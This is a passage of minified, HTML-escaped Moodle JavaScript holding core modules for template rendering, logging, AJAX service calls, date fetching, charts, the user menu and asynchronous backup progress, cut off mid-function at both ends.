js=&quot;&quot;;return this.requiredJS.length&gt;0&amp;&amp;(js=this.requiredJS.join(&quot;;\n&quot;)),js},Renderer.prototype.treatStringsInContent=function(content,strings){var treated,index,strIndex,walker,char,strFinal,isClean,pattern=/\[\[_(s|c)\d+\]\]/;do{for(treated=&quot;&quot;,index=content.search(pattern);index&gt;-1;){treated+=content.substring(0,index),isClean=&quot;c&quot;==(content=content.substr(index))[3],strIndex=&quot;&quot;,walker=4,char=content.substr(walker,1);do{strIndex+=char,walker++,char=content.substr(walker,1)}while(&quot;]&quot;!=char);void 0===(strFinal=strings[parseInt(strIndex,10)])&amp;&amp;(Log.debug(&quot;Could not find string for pattern [[_&quot;+(isClean?&quot;c&quot;:&quot;s&quot;)+strIndex+&quot;]].&quot;),strFinal=&quot;&quot;),isClean&amp;&amp;(strFinal=mustache.escape(strFinal)),treated+=strFinal,index=(content=content.substr(6+strIndex.length)).search(pattern)}index=(content=treated+content).search(pattern)}while(index&gt;-1);return content},Renderer.prototype.treatDatesInContent=function(content,dates){return dates.forEach((function(date,index){var re=new RegExp(&quot;\\[\\[_t_&quot;+index+&quot;\\]\\]&quot;,&quot;g&quot;);content=content.replace(re,date)})),content},Renderer.prototype.doRender=function(templateSource,context,themeName){this.currentThemeName=themeName;var iconTemplate=iconSystem.getTemplateName(),pendingPromise=new Pending(&quot;core/templates:doRender&quot;);return this.getTemplate(iconTemplate).then(function(){this.addHelpers(context,themeName);var result=mustache.render(templateSource,context,this.partialHelper.bind(this));return $.Deferred().resolve(result.trim(),this.getJS()).promise()}.bind(this)).then(function(html,js){return this.requiredStrings.length&gt;0?str.get_strings(this.requiredStrings).then(function(strings){return this.requiredDates=this.requiredDates.map(function(date){return{timestamp:this.treatStringsInContent(date.timestamp,strings),format:this.treatStringsInContent(date.format,strings)}}.bind(this)),html=this.treatStringsInContent(html,strings),js=this.treatStringsInContent(js,strings),$.Deferred().resolve(html,js).promise()}.bind(this)):$.Deferred().resolve(html,js).promise()}.bind(this)).then(function(html,js){return this.requiredDates.length&gt;0?UserDate.get(this.requiredDates).then(function(dates){return html=this.treatDatesInContent(html,dates),js=this.treatDatesInContent(js,dates),$.Deferred().resolve(html,js).promise()}.bind(this)):$.Deferred().resolve(html,js).promise()}.bind(this)).then((function(html,js){return pendingPromise.resolve(),$.Deferred().resolve(html,js).promise()}))};var runTemplateJS=function(source){if(&quot;&quot;!==source.trim()){var newscript=$(&quot;&lt;script&gt;&quot;).attr(&quot;type&quot;,&quot;text/javascript&quot;).html(source);$(&quot;head&quot;).append(newscript)}},domReplace=function(element,newHTML,newJS,replaceChildNodes){var replaceNode=$(element);if(replaceNode.length){var newNodes=$(newHTML);return replaceChildNodes?(new Y.NodeList(replaceNode.children().get()).destroy(!0),replaceNode.empty(),replaceNode.append(newNodes)):(new Y.NodeList(replaceNode.get()).destroy(!0),replaceNode.replaceWith(newNodes)),runTemplateJS(newJS),filterEvents.notifyFilterContentUpdated(newNodes),newNodes.get()}return[]};Renderer.prototype.scanForPartials=function(templateSource){var tokens=mustache.parse(templateSource),partials=[],findPartial=function(tokens,partials){var i,token;for(i=0;i&lt;tokens.length;i++)&quot;&gt;&quot;!=(token=tokens[i])[0]&amp;&amp;&quot;&lt;&quot;!=token[0]||partials.push(token[1]),token.length&gt;4&amp;&amp;findPartial(token[4],partials)};return findPartial(tokens,partials),partials},Renderer.prototype.cachePartials=function(templateName,parentage){var searchKey=this.currentThemeName+&quot;/&quot;+templateName;return searchKey in cachePartialPromises||(parentage=parentage||[searchKey],cachePartialPromises[searchKey]=$.Deferred(),this.getTemplate(templateName).then(function(templateSource){var fetchThemAll=this.scanForPartials(templateSource).filter(function(partialName){return!(parentage.indexOf(this.currentThemeName+&quot;/&quot;+partialName)&gt;=0)&amp;&amp;partialName!=templateName}.bind(this)).map(function(partialName){return parentage.push(this.currentThemeName+&quot;/&quot;+partialName),this.cachePartials(partialName,parentage)}.bind(this));return $.when.apply($,fetchThemAll).then((function(){return cachePartialPromises[searchKey].resolve(templateSource)}))}.bind(this)).catch(cachePartialPromises[searchKey].reject)),cachePartialPromises[searchKey]},Renderer.prototype.render=function(templateName,context,themeName){void 0===themeName&amp;&amp;(themeName=config.theme),this.currentThemeName=themeName;var modulename=config.iconsystemmodule,ready=$.Deferred();return require([modulename],(function(System){var system=new System;system instanceof IconSystem?(iconSystem=system,system.init().then(ready.resolve).catch(notification.exception)):ready.reject(&quot;Invalid icon system specified&quot;+config.iconsystem)})),ready.then(function(){return this.cachePartials(templateName)}.bind(this)).then(function(templateSource){return this.doRender(templateSource,context,themeName)}.bind(this))};return{render:function(templateName,context,themeName){return(new Renderer).render(templateName,context,themeName)},prefetchTemplates:function(templateNames,themeName){var renderer=new Renderer;return void 0===themeName&amp;&amp;(themeName=config.theme),renderer.prefetchTemplates(templateNames,themeName)},renderForPromise:function(templateName,context,themeName){return(new Renderer).render(templateName,context,themeName).then((function(html,js){return{html:html,js:js}}))},renderPix:function(key,component,title){return(new Renderer).renderIcon(key,getNormalisedComponent(component),title)},runTemplateJS:runTemplateJS,replaceNodeContents:function(element,newHTML,newJS){return domReplace(element,newHTML,newJS,!0)},replaceNode:function(element,newHTML,newJS){return domReplace(element,newHTML,newJS,!1)},prependNodeContents:function(element,html,js){return function(element,html,js){var node=$(element);if(node.length){var newContent=$(html);return node.prepend(newContent),runTemplateJS(js),filterEvents.notifyFilterContentUpdated(node),newContent.get()}return[]}(element,html,js)},appendNodeContents:function(element,html,js){return function(element,html,js){var node=$(element);if(node.length){var newContent=$(html);return node.append(newContent),runTemplateJS(js),filterEvents.notifyFilterContentUpdated(node),newContent.get()}return[]}(element,html,js)}}}));
/**
 * This is an empty module, that is required before all other modules.
 * Because every module is returned from a request for any other module, this
 * forces the loading of all modules with a single request.
 *
 * @module     core/log
 * @copyright  2015 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/log&quot;,[&quot;core/loglevel&quot;],(function(log){var originalFactory=log.methodFactory;return log.methodFactory=function(methodName,logLevel){var rawMethod=originalFactory(methodName,logLevel);return function(message,source){rawMethod(source?source+&quot;: &quot;+message:message)}},log.setConfig=function(config){void 0!==config.level&amp;&amp;log.setLevel(config.level)},log}));
/**
 * Standard Ajax wrapper for Moodle. It calls the central Ajax script,
 * which can call any existing webservice using the current session.
 * In addition, it can batch multiple requests and return multiple responses.
 *
 * @module     core/ajax
 * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      2.9
 */
define(&quot;core/ajax&quot;,[&quot;jquery&quot;,&quot;core/config&quot;,&quot;core/log&quot;,&quot;core/url&quot;],(function($,config,Log,URL){var unloading=!1,requestSuccess=function(responses){var request,response,nosessionupdate,exception=null,i=0;if(responses.error)for(;i&lt;this.length;i++)(request=this[i]).deferred.reject(responses);else{for(i=0;i&lt;this.length;i++){if(request=this[i],void 0===(response=responses[i])){exception=new Error(&quot;missing response&quot;);break}if(!1!==response.error){exception=response.exception,nosessionupdate=this[i].nosessionupdate;break}request.deferred.resolve(response.data)}null!==exception&amp;&amp;(&quot;servicerequireslogin&quot;!==exception.errorcode||nosessionupdate?this.forEach((function(request){request.deferred.reject(exception)})):window.location=URL.relativeUrl(&quot;/login/index.php&quot;))}},requestFail=function(jqXHR,textStatus,exception){var i=0;for(i=0;i&lt;this.length;i++){var request=this[i];unloading?(Log.error(&quot;Page unloaded.&quot;),Log.error(exception)):request.deferred.reject(exception)}};return{call:function(requests,async,loginrequired,nosessionupdate,timeout,cachekey){$(window).bind(&quot;beforeunload&quot;,(function(){unloading=!0}));var i,ajaxRequestData=[],promises=[],methodInfo=[],requestInfo=&quot;&quot;;for(void 0===loginrequired&amp;&amp;(loginrequired=!0),void 0===async&amp;&amp;(async=!0),void 0===timeout&amp;&amp;(timeout=0),void 0===cachekey||(cachekey=parseInt(cachekey))&lt;=0?cachekey=null:cachekey||(cachekey=null),void 0===nosessionupdate&amp;&amp;(nosessionupdate=!1),i=0;i&lt;requests.length;i++){var request=requests[i];ajaxRequestData.push({index:i,methodname:request.methodname,args:request.args}),request.nosessionupdate=nosessionupdate,request.deferred=$.Deferred(),promises.push(request.deferred.promise()),void 0!==request.done&amp;&amp;request.deferred.done(request.done),void 0!==request.fail&amp;&amp;request.deferred.fail(request.fail),request.index=i,methodInfo.push(request.methodname)}requestInfo=methodInfo.length&lt;=5?methodInfo.sort().join():methodInfo.length+&quot;-method-calls&quot;,ajaxRequestData=JSON.stringify(ajaxRequestData);var settings={type:&quot;POST&quot;,context:requests,dataType:&quot;json&quot;,processData:!1,async:async,contentType:&quot;application/json&quot;,timeout:timeout},script=&quot;service.php&quot;,url=config.wwwroot+&quot;/lib/ajax/&quot;;if(loginrequired?url+=script+&quot;?sesskey=&quot;+config.sesskey+&quot;&amp;info=&quot;+requestInfo:(url+=(script=&quot;service-nologin.php&quot;)+&quot;?info=&quot;+requestInfo,cachekey&amp;&amp;(url+=&quot;&amp;cachekey=&quot;+cachekey,settings.type=&quot;GET&quot;)),nosessionupdate&amp;&amp;(url+=&quot;&amp;nosessionupdate=true&quot;),&quot;POST&quot;===settings.type)settings.data=ajaxRequestData;else{var urlUseGet=url+&quot;&amp;args=&quot;+encodeURIComponent(ajaxRequestData);urlUseGet.length&gt;2e3?(settings.type=&quot;POST&quot;,settings.data=ajaxRequestData):url=urlUseGet}return async?$.ajax(url,settings).done(requestSuccess).fail(requestFail):(settings.success=requestSuccess,settings.error=requestFail,$.ajax(url,settings)),promises}}}));
/**
 * Enhance a textarea with auto growing rows to fit the content.
 *
 * @module     core/auto_rows
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.2
 */
define(&quot;core/auto_rows&quot;,[&quot;jquery&quot;],(function($){var SELECTORS_ELEMENT=&quot;[data-auto-rows]&quot;,EVENTS={ROW_CHANGE:&quot;autorows:rowchange&quot;},changeListener=function(e){var element=$(e.target),minRows=element.data(&quot;min-rows&quot;),currentRows=element.attr(&quot;rows&quot;);void 0===minRows&amp;&amp;element.data(&quot;min-rows&quot;,currentRows),element.attr(&quot;rows&quot;,1);var rows=function(element){var currentRows=element.attr(&quot;rows&quot;),minRows=element.data(&quot;min-rows&quot;),maxRows=element.attr(&quot;data-max-rows&quot;),height=element.height(),padding=element.innerHeight()-height,rows=(element[0].scrollHeight-padding)/(height/currentRows);return element.css(&quot;height&quot;,&quot;&quot;),rows&lt;minRows?minRows:maxRows&amp;&amp;rows&gt;=maxRows?maxRows:rows}(element);element.attr(&quot;rows&quot;,rows),rows!=currentRows&amp;&amp;element.trigger(EVENTS.ROW_CHANGE)};return{init:function(root){$(root).data(&quot;auto-rows&quot;)?$(root).on(&quot;input propertychange&quot;,changeListener.bind(this)):$(root).on(&quot;input propertychange&quot;,SELECTORS_ELEMENT,changeListener.bind(this))},events:EVENTS}}));
/**
 * Fetch and render dates from timestamps.
 *
 * @module     core/user_date
 * @copyright  2017 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/user_date&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/sessionstorage&quot;,&quot;core/config&quot;],(function($,Ajax,Storage,Config){var promisesCache={},getKey=function(request){return&quot;core_user_date/&quot;+$(&quot;html&quot;).attr(&quot;lang&quot;).replace(/-/g,&quot;_&quot;)+&quot;/&quot;+Config.usertimezone+&quot;/&quot;+request.timestamp+&quot;/&quot;+request.format},loadDatesFromServer=function(dates){var args=dates.map((function(data){var fixDay=data.hasOwnProperty(&quot;fixday&quot;)?data.fixday:1,fixHour=data.hasOwnProperty(&quot;fixhour&quot;)?data.fixhour:1;return{timestamp:data.timestamp,format:data.format,type:data.type||null,fixday:fixDay,fixhour:fixHour}})),request={methodname:&quot;core_get_user_dates&quot;,args:{contextid:Config.contextid,timestamps:args}};return Ajax.call([request],!0,!0)[0].then((function(results){results.dates.forEach((function(value,index){var date=dates[index];!function(key,value){Storage.set(key,value)}(getKey(date),value),date.deferred.resolve(value)}))})).catch((function(ex){dates.forEach((function(date){date.deferred.reject(ex)}))}))};return{get:function(requests){var ajaxRequests=[],promises=[];return requests.forEach((function(request){var key=getKey(request);if(function(key){return void 0!==promisesCache[key]}(key))promises.push(function(key){return promisesCache[key]}(key));else{var deferred=$.Deferred(),cached=function(key){return Storage.get(key)}(key);cached?deferred.resolve(cached):(request.deferred=deferred,ajaxRequests.push(request)),function(key,promise){promisesCache[key]=promise}(key,deferred.promise()),promises.push(deferred.promise())}})),ajaxRequests.length&amp;&amp;loadDatesFromServer(ajaxRequests),$.when.apply($,promises).then((function(){return 1===arguments.length?[arguments[0]]:Array.apply(null,arguments)}))},getUserMidnightForTimestamp:function(timestamp,todayMidnight){var future=timestamp&gt;todayMidnight,diffSeconds=Math.abs(timestamp-todayMidnight),diffDaysInSeconds=86400*(future?Math.floor(diffSeconds/86400):Math.ceil(diffSeconds/86400));return future?todayMidnight+diffDaysInSeconds:todayMidnight-diffDaysInSeconds}}}));
/**
 * Chart output for chart.js.
 *
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @module     core/chart_output_chartjs
 */
define(&quot;core/chart_output_chartjs&quot;,[&quot;jquery&quot;,&quot;core/chartjs&quot;,&quot;core/chart_axis&quot;,&quot;core/chart_bar&quot;,&quot;core/chart_output_base&quot;,&quot;core/chart_line&quot;,&quot;core/chart_pie&quot;,&quot;core/chart_series&quot;],(function($,Chartjs,Axis,Bar,Base,Line,Pie,Series){var makeAxisId=function(xy,index){return&quot;axis-&quot;+xy+&quot;-&quot;+index};function Output(){Base.prototype.constructor.apply(this,arguments),this._canvas=this._node,&quot;CANVAS&quot;!=this._canvas.prop(&quot;tagName&quot;)&amp;&amp;(this._canvas=$(&quot;&lt;canvas&gt;&quot;),this._node.append(this._canvas)),this._build()}return Output.prototype=Object.create(Base.prototype),Output.prototype._config=null,Output.prototype._chartjs=null,Output.prototype._canvas=null,Output.prototype._build=function(){this._config=this._makeConfig(),this._chartjs=new Chartjs(this._canvas[0],this._config)},Output.prototype._cleanData=function(data){return data instanceof Array?data.map((function(value){return $(&quot;&lt;span&gt;&quot;).html(value).text()})):$(&quot;&lt;span&gt;&quot;).html(data).text()},Output.prototype._getChartType=function(){var type=this._chart.getType();return this._chart.getType()===Bar.prototype.TYPE&amp;&amp;!0===this._chart.getHorizontal()?type=&quot;horizontalBar&quot;:this._chart.getType()===Pie.prototype.TYPE&amp;&amp;!0===this._chart.getDoughnut()&amp;&amp;(type=&quot;doughnut&quot;),type},Output.prototype._makeAxisConfig=function(axis,xy,index){var scaleData={id:makeAxisId(xy,index)};return axis.getPosition()!==Axis.prototype.POS_DEFAULT&amp;&amp;(scaleData.position=axis.getPosition()),null!==axis.getLabel()&amp;&amp;(scaleData.scaleLabel={display:!0,labelString:this._cleanData(axis.getLabel())}),null!==axis.getStepSize()&amp;&amp;(scaleData.ticks=scaleData.ticks||{},scaleData.ticks.stepSize=axis.getStepSize()),null!==axis.getMax()&amp;&amp;(scaleData.ticks=scaleData.ticks||{},scaleData.ticks.max=axis.getMax()),null!==axis.getMin()&amp;&amp;(scaleData.ticks=scaleData.ticks||{},scaleData.ticks.min=axis.getMin()),scaleData},Output.prototype._makeConfig=function(){var config={type:this._getChartType(),data:{labels:this._cleanData(this._chart.getLabels()),datasets:this._makeDatasetsConfig()},options:{title:{display:null!==this._chart.getTitle(),text:this._cleanData(this._chart.getTitle())}}},legendOptions=this._chart.getLegendOptions();return legendOptions&amp;&amp;(config.options.legend=legendOptions),this._chart.getXAxes().forEach(function(axis,i){var axisLabels=axis.getLabels();config.options.scales=config.options.scales||{},config.options.scales.xAxes=config.options.scales.xAxes||[],config.options.scales.xAxes[i]=this._makeAxisConfig(axis,&quot;x&quot;,i),null!==axisLabels&amp;&amp;(config.options.scales.xAxes[i].ticks.callback=function(value,index){return axisLabels[index]||&quot;&quot;}),config.options.scales.xAxes[i].stacked=this._isStacked()}.bind(this)),this._chart.getYAxes().forEach(function(axis,i){var axisLabels=axis.getLabels();config.options.scales=config.options.scales||{},config.options.scales.yAxes=config.options.scales.yAxes||[],config.options.scales.yAxes[i]=this._makeAxisConfig(axis,&quot;y&quot;,i),null!==axisLabels&amp;&amp;(config.options.scales.yAxes[i].ticks.callback=function(value){return axisLabels[parseInt(value,10)]||&quot;&quot;}),config.options.scales.yAxes[i].stacked=this._isStacked()}.bind(this)),config.options.tooltips={callbacks:{label:this._makeTooltip.bind(this)}},config},Output.prototype._makeDatasetsConfig=function(){return this._chart.getSeries().map(function(series){var colors=series.hasColoredValues()?series.getColors():series.getColor(),dataset={label:this._cleanData(series.getLabel()),data:series.getValues(),type:series.getType(),fill:series.getFill(),backgroundColor:colors,borderColor:this._chart.getType()==Pie.prototype.TYPE?&quot;#fff&quot;:colors,lineTension:this._isSmooth(series)?.3:0};return null!==series.getXAxis()&amp;&amp;(dataset.xAxisID=makeAxisId(&quot;x&quot;,series.getXAxis())),null!==series.getYAxis()&amp;&amp;(dataset.yAxisID=makeAxisId(&quot;y&quot;,series.getYAxis())),dataset}.bind(this))},Output.prototype._makeTooltip=function(tooltipItem,data){var series=this._chart.getSeries()[tooltipItem.datasetIndex],serieLabel=series.getLabel(),serieLabels=series.getLabels(),tooltipData=data.datasets[tooltipItem.datasetIndex].data[tooltipItem.index],tooltip=[];if(&quot;&quot;==tooltipItem.xLabel&amp;&amp;&quot;&quot;==tooltipItem.yLabel){var chartLabels=this._cleanData(this._chart.getLabels());tooltip.push(chartLabels[tooltipItem.index])}return null!==serieLabels?tooltip.push(this._cleanData(serieLabels[tooltipItem.index])):tooltip.push(this._cleanData(serieLabel)+&quot;: &quot;+tooltipData),tooltip},Output.prototype._isSmooth=function(series){var smooth=!1;return this._chart.getType()===Line.prototype.TYPE?null===(smooth=series.getSmooth())&amp;&amp;(smooth=this._chart.getSmooth()):series.getType()===Series.prototype.TYPE_LINE&amp;&amp;(smooth=series.getSmooth()),smooth},Output.prototype._isStacked=function(){var stacked=!1;return this._chart.getType()===Bar.prototype.TYPE&amp;&amp;(stacked=this._chart.getStacked()),stacked},Output.prototype.update=function(){$.extend(!0,this._config,this._makeConfig()),this._chartjs.update()},Output}));
/**
 * Chart base.
 *
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @module     core/chart_base
 */
define(&quot;core/chart_base&quot;,[&quot;core/chart_series&quot;,&quot;core/chart_axis&quot;],(function(Series,Axis){function Base(){this._series=[],this._labels=[],this._xaxes=[],this._yaxes=[],this._setDefaults()}return Base.prototype._series=null,Base.prototype._labels=null,Base.prototype._legendOptions=null,Base.prototype._title=null,Base.prototype._xaxes=null,Base.prototype._yaxes=null,Base.prototype.COLORSET=[&quot;#f3c300&quot;,&quot;#875692&quot;,&quot;#f38400&quot;,&quot;#a1caf1&quot;,&quot;#be0032&quot;,&quot;#c2b280&quot;,&quot;#7f180d&quot;,&quot;#008856&quot;,&quot;#e68fac&quot;,&quot;#0067a5&quot;],Base.prototype._configColorSet=null,Base.prototype.TYPE=null,Base.prototype.addSeries=function(series){if(this._validateSeries(series),this._series.push(series),null===series.getColor()){var configColorSet=this.getConfigColorSet()||Base.prototype.COLORSET;series.setColor(configColorSet[this._series.length%configColorSet.length])}},Base.prototype.create=function(Klass,data){var Chart=new Klass;return Chart.setConfigColorSet(data.config_colorset),Chart.setLabels(data.labels),Chart.setTitle(data.title),data.legend_options&amp;&amp;Chart.setLegendOptions(data.legend_options),data.series.forEach((function(seriesData){Chart.addSeries(Series.prototype.create(seriesData))})),data.axes.x.forEach((function(axisData,i){Chart.setXAxis(Axis.prototype.create(axisData),i)})),data.axes.y.forEach((function(axisData,i){Chart.setYAxis(Axis.prototype.create(axisData),i)})),Chart},Base.prototype.__getAxis=function(xy,index,createIfNotExists){var axis,axes=&quot;x&quot;===xy?this._xaxes:this._yaxes,setAxis=(&quot;x&quot;===xy?this.setXAxis:this.setYAxis).bind(this);if(createIfNotExists=void 0!==createIfNotExists&amp;&amp;createIfNotExists,void 0===(axis=axes[index=void 0===index?0:index])){if(!createIfNotExists)throw new Error(&quot;Unknown axis.&quot;);setAxis(axis=new Axis,index)}return axis},Base.prototype.getConfigColorSet=function(){return this._configColorSet},Base.prototype.getLabels=function(){return this._labels},Base.prototype.getLegendOptions=function(){return this._legendOptions},Base.prototype.getSeries=function(){return this._series},Base.prototype.getTitle=function(){return this._title},Base.prototype.getType=function(){if(!this.TYPE)throw new Error(&quot;The TYPE property has not been set.&quot;);return this.TYPE},Base.prototype.getXAxes=function(){return this._xaxes},Base.prototype.getXAxis=function(index,createIfNotExists){return this.__getAxis(&quot;x&quot;,index,createIfNotExists)},Base.prototype.getYAxes=function(){return this._yaxes},Base.prototype.getYAxis=function(index,createIfNotExists){return this.__getAxis(&quot;y&quot;,index,createIfNotExists)},Base.prototype.setConfigColorSet=function(colorset){this._configColorSet=colorset},Base.prototype._setDefaults=function(){},Base.prototype.setLabels=function(labels){if(labels.length&amp;&amp;this._series.length&amp;&amp;this._series[0].length!=labels.length)throw new Error(&quot;Series must match label values.&quot;);this._labels=labels},Base.prototype.setLegendOptions=function(legendOptions){if(&quot;object&quot;!=typeof legendOptions)throw new Error(&quot;Setting legend with non-object value:&quot;+legendOptions);this._legendOptions=legendOptions},Base.prototype.setTitle=function(title){this._title=title},Base.prototype.setXAxis=function(axis,index){index=void 0===index?0:index,this._validateAxis(&quot;x&quot;,axis,index),this._xaxes[index]=axis},Base.prototype.setYAxis=function(axis,index){index=void 0===index?0:index,this._validateAxis(&quot;y&quot;,axis,index),this._yaxes[index]=axis},Base.prototype._validateAxis=function(xy,axis,index){if((index=void 0===index?0:index)&gt;0&amp;&amp;void 0===(&quot;x&quot;==xy?this._xaxes:this._yaxes)[index-1])throw new Error(&quot;Missing &quot;+xy+&quot; axis at index lower than &quot;+index)},Base.prototype._validateSeries=function(series){if(this._series.length&amp;&amp;this._series[0].getCount()!=series.getCount())throw new Error(&quot;Series do not have an equal number of values.&quot;);if(this._labels.length&amp;&amp;this._labels.length!=series.getCount())throw new Error(&quot;Series must match label values.&quot;)},Base}));
/**
 * Chart output.
 *
 * Proxy to the default output module.
 *
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/chart_output&quot;,[&quot;core/chart_output_chartjs&quot;],(function(Output){return Output}));
define(&quot;core/usermenu&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/key_codes&quot;],(function(_exports,_jquery,_key_codes){var obj;
/**
   * Initializes and handles events in the user menu.
   *
   * @module     core/usermenu
   * @copyright  2021 Moodle
   * @author     Mihail Geshoski &lt;mihail@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj};const selectors_userMenu=&quot;.usermenu&quot;,selectors_userMenuCarousel=&quot;.usermenu #usermenu-carousel&quot;,selectors_userMenuCarouselItem=&quot;.usermenu #usermenu-carousel .carousel-item&quot;,selectors_userMenuCarouselItemActive=&quot;.usermenu #usermenu-carousel .carousel-item.active&quot;,selectors_userMenuCarouselNavigationLink=&quot;.usermenu #usermenu-carousel .carousel-navigation-link&quot;;var _default={init:()=&gt;{(()=&gt;{const userMenu=document.querySelector(selectors_userMenu);(0,_jquery.default)(selectors_userMenu).on(&quot;shown.bs.dropdown&quot;,(()=&gt;{const activeCarouselItem=document.querySelector(selectors_userMenuCarouselItemActive);activeCarouselItem.focus(),userMenu.querySelectorAll(selectors_userMenuCarouselItem).forEach((element=&gt;{element.classList.contains(&quot;active&quot;)||(element.style.width=activeCarouselItem.offsetWidth+&quot;px&quot;,element.style.height=activeCarouselItem.offsetHeight+&quot;px&quot;)}))})),userMenu.addEventListener(&quot;click&quot;,(e=&gt;{e.target.matches(selectors_userMenuCarouselNavigationLink)&amp;&amp;carouselManagement(e)})),userMenu.addEventListener(&quot;keydown&quot;,(e=&gt;{e.keyCode!==_key_codes.space&amp;&amp;e.keyCode!==_key_codes.enter||!e.target.matches(selectors_userMenuCarouselNavigationLink)||(e.preventDefault(),carouselManagement(e))}));const carouselManagement=e=&gt;{e.stopPropagation();const targetedCarouselItemId=e.target.dataset.carouselTargetId,targetedCarouselItem=userMenu.querySelector(&quot;#&quot;+targetedCarouselItemId),index=Array.from(targetedCarouselItem.parentNode.children).indexOf(targetedCarouselItem);(0,_jquery.default)(selectors_userMenuCarousel).carousel(index)};(0,_jquery.default)(selectors_userMenu).on(&quot;hide.bs.dropdown&quot;,(()=&gt;{(0,_jquery.default)(selectors_userMenuCarousel).carousel(0)})),(0,_jquery.default)(selectors_userMenuCarousel).on(&quot;slid.bs.carousel&quot;,(()=&gt;{userMenu.querySelector(selectors_userMenuCarouselItemActive).focus()}))})()}};return _exports.default=_default,_exports.default}));
define(&quot;core_availability/availability_more&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0;
/**
   * Show more action for availablity information.
   *
   * @module     core_availability/availability_more
   * @copyright  2021 Bas Brands &lt;bas@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const Selectors_regions={availability:&#039;[data-region=&quot;availability-multiple&quot;]&#039;},Selectors_actions={showmorelink:&#039;[data-action=&quot;showmore&quot;]&#039;},Selectors_classes={hidden:&quot;d-none&quot;,visible:&quot;d-block&quot;},showMoreHandler=event=&gt;{const triggerElement=event.target.closest(Selectors_actions.showmorelink);if(null===triggerElement)return;const container=triggerElement.closest(Selectors_regions.availability);container.querySelectorAll(&quot;.&quot;+Selectors_classes.hidden).forEach((function(node){node.classList.remove(Selectors_classes.hidden)})),container.querySelectorAll(&quot;.&quot;+Selectors_classes.visible).forEach((function(node){node.classList.remove(Selectors_classes.visible),node.classList.add(Selectors_classes.hidden)})),event.preventDefault()};_exports.init=()=&gt;{const body=document.querySelector(&quot;body&quot;);body.dataset.showmoreactive||(document.addEventListener(&quot;click&quot;,showMoreHandler),body.dataset.showmoreactive=1)}}));
/**
 * This module updates the UI during an asynchronous
 * backup or restore process.
 *
 * @module     core_backup/async_backup
 * @copyright  2018 Matt Porritt &lt;mattp@catalyst-au.net&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.7
 */
define(&quot;core_backup/async_backup&quot;,[&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/str&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;],(function($,ajax,Str,notification,Templates){var backupid,contextid,restoreurl,typeid,backupintervalid,allbackupintervalid,allcopyintervalid,Asyncbackup={},checkdelay=15e3;function updateElement(backupid,type,percentage){var percentagewidth=Math.round(percentage)+&quot;%&quot;,elementbar=document.querySelectorAll(&quot;[data-&quot;+type+&quot;id=&quot;+CSS.escape(backupid)+&quot;]&quot;)[0],percentagetext=percentage.toFixed(2)+&quot;%&quot;;elementbar.setAttribute(&quot;aria-valuenow&quot;,percentagewidth),elementbar.style.width=percentagewidth,elementbar.innerHTML=percentagetext}function updateInterval(intervalid,callback,value){return clearInterval(intervalid),setInterval(callback,value)}function updateProgressAll(progress){progress.forEach((function(element){var percentage=100*element.progress,backupid=element.backupid,type=element.operation,elementbar=document.querySelectorAll(&quot;[data-&quot;+type+&quot;id=&quot;+CSS.escape(backupid)+&quot;]&quot;)[0];800==element.status?(elementbar.classList.add(&quot;bg-success&quot;),updateElement(backupid,type,percentage)):900==element.status?(elementbar.classList.add(&quot;bg-danger&quot;),elementbar.classList.add(&quot;complete&quot;),elementbar.classList.remove(&quot;bg-success&quot;),updateElement(backupid,type,100)):1e3==element.status&amp;&amp;(elementbar.classList.add(&quot;bg-success&quot;),elementbar.classList.add(&quot;complete&quot;),updateElement(backupid,type,100),&quot;backup&quot;==type?function(backupid){var statuscell=$(&quot;#&quot;+backupid+&quot;_bar&quot;).parent().parent(),tablerow=statuscell.parent(),cellsiblings=statuscell.siblings(),timecell=cellsiblings[1],timevalue=$(timecell).text(),filenamecell=cellsiblings[0],filename=$(filenamecell).text();ajax.call([{methodname:&quot;core_backup_get_async_backup_links_backup&quot;,args:{filename:filename,contextid:contextid}}])[0].done((function(response){var context={filename:filename,time:timevalue,size:response.filesize,fileurl:response.fileurl,restoreurl:response.restoreurl};Templates.render(&quot;core/async_backup_progress_row&quot;,context).then((function(html,js){Templates.replaceNodeContents(tablerow,html,js)})).fail((function(){notification.exception(new Error(&quot;Failed to load table row&quot;))}))}))}(backupid):function(backupid){var statuscell=$(&quot;#&quot;+backupid+&quot;_bar&quot;).parent().parent(),tablerow=statuscell.parent(),cellsiblings=statuscell.siblings(),coursecell=cellsiblings[0],timecell=cellsiblings[1],timevalue=$(timecell).text();ajax.call([{methodname:&quot;core_backup_get_async_backup_links_restore&quot;,args:{backupid:backupid,contextid:contextid}}])[0].done((function(response){var context={resourcename:$(coursecell).text(),restoreurl:response.restoreurl,time:timevalue};Templates.render(&quot;core/async_restore_progress_row&quot;,context).then((function(html,js){Templates.replaceNodeContents(tablerow,html,js)})).fail((function(){notification.exception(new Error(&quot;Failed to load table row&quot;))}))}))}(backupid))}))}function 